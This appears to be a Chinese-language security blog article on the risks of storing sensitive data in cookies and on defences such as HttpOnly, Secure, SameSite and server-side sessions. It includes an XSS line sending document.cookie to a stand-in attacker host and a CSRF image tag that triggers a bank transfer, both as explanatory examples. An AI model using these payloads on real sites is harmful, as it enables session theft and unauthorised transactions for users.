ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Cookie安全存储敏感信息的风险与防护实践

Cookie安全存储敏感信息的风险与防护实践

1. Cookie 存储敏感信息的典型风险场景

当开发者在 Cookie 中直接存储用户凭证、身份标识或其他敏感数据时,会面临多重安全威胁。最常见的情况包括在 Cookie 中明文存储用户ID、JWT令牌、会话标识符甚至密码哈希值。我曾参与过一个电商项目的安全审计,发现其将用户手机号加密后存在 Cookie 中,自认为足够安全,但实际上密钥就硬编码在前端代码里。

1.1 跨站脚本攻击(XSS)窃取

攻击者通过注入恶意脚本可以轻松获取document.cookie内容。去年某社交平台漏洞导致用户私信泄露,就是因为用Cookie存储了访问令牌且未设置HttpOnly。通过简单的脚本注入:

new Image().src='http://attacker.com/steal?data='+document.cookie;

就能将用户凭证传送到攻击者服务器。

1.2 网络嗅探与中间人攻击

未启用Secure属性的Cookie在HTTP明文传输时,公共WiFi下的攻击者用Wireshark等工具可直接捕获。某知名咖啡连锁店曾因此泄露会员积分账户,攻击者通过抓包获取到包含用户ID和哈希的Cookie,实现了账户接管。

1.3 跨站请求伪造(CSRF)

如果敏感操作仅依赖Cookie验证,恶意网站可以通过:

<img src="https://bank.com/transfer?to=hacker&amount=10000">

让已登录用户在不知情时执行操作。某银行系统漏洞曾允许通过论坛图片标签发起转账请求。

2. 敏感数据的正确存储方案

2.1 会话标识符的安全实践

推荐采用服务端会话存储方案,Cookie中仅存放随机生成的session_id。以Node.js为例:

const session = require('express-session'); app.use(session({ secret: 'complex_key_here', cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }, store: new RedisStore({...}) // 会话数据存Redis }));

这种方案下,即使session_id泄露,攻击者也无法直接获取用户数据。

2.2 令牌(Token)的安全传输

对于JWT等令牌方案,应遵循:

  1. 设置合理的过期时间(如access_token 15分钟)
  2. 实现refresh_token轮换机制
  3. 通过响应头传输而非Cookie:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

并在服务端校验签名和有效期。

2.3 加密存储的必要条件

若必须存储加密数据(如记住登录状态),应当:

  1. 使用AES-256等强加密算法
  2. 密钥仅保存在服务端
  3. 包含防篡改签名
  4. 实现密钥轮换策略

Python示例:

from cryptography.fernet import Fernet key = Fernet.generate_key() # 保存在服务端配置 cipher_suite = Fernet(key) encrypted_data = cipher_suite.encrypt(b"sensitive_info")

3. Cookie安全属性的关键配置

3.1 HttpOnly的防护价值

设置后JavaScript无法读取Cookie,能有效防御XSS攻击。Nginx配置示例:

add_header Set-Cookie "sessionid=12345; HttpOnly; Path=/";

3.2 Secure属性的传输保障

强制HTTPS传输,防止中间人嗅探。Express.js设置:

res.cookie('token', 'value', { secure: process.env.NODE_ENV === 'production' });

3.3 SameSite的CSRF防护

现代浏览器的防护机制:

  • Strict:完全禁止跨站发送
  • Lax:允许顶级导航GET请求(推荐默认值)
  • None:需配合Secure使用

Tomcat配置示例:

<Context sessionCookieSameSite="Lax">

4. 实战中的纵深防御策略

4.1 请求指纹校验

除Cookie外应验证:

  • 用户IP段
  • User-Agent指纹
  • 设备特征码

实现示例:

String fingerprint = request.getHeader("User-Agent") + request.getRemoteAddr().hashCode(); if(!session.getAttribute("fp").equals(fingerprint)) { // 异常请求处理 }

4.2 实时风控监测

对异常访问模式进行检测:

  • 地理位置突变
  • 高频敏感操作
  • 非常用设备登录

建议集成OpenRASP等运行时防护方案。

4.3 定期安全审计要点

每次迭代应检查:

  1. Cookie的Secure/HttpOnly设置
  2. 会话过期时间是否合理
  3. 加密算法和密钥强度
  4. 敏感接口的CSRF防护

可使用OWASP ZAP进行自动化扫描。

5. 典型漏洞修复案例

去年处理过一个实际案例:某SAAS平台将用户权限列表JSON序列化后存入Cookie。攻击者通过修改Cookie中的权限标识获得了管理员权限。修复方案包括:

  1. 移出权限数据到服务端会话
  2. 增加HMAC签名验证
  3. 实现权限变更时的会话重置

修正后的Cookie内容仅为:

session=abcd1234; HttpOnly; Secure; SameSite=Lax

权限数据改为服务端Redis存储:

SET session:abcd1234 '{"user_id":101,"roles":["user"]}'

这个案例让我深刻体会到:Cookie应该像行李箱上的行李牌,只包含必要标识信息,而不是把全部行李内容都挂在外面。安全设计要遵循最小化暴露原则,将敏感数据控制在可信边界内。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进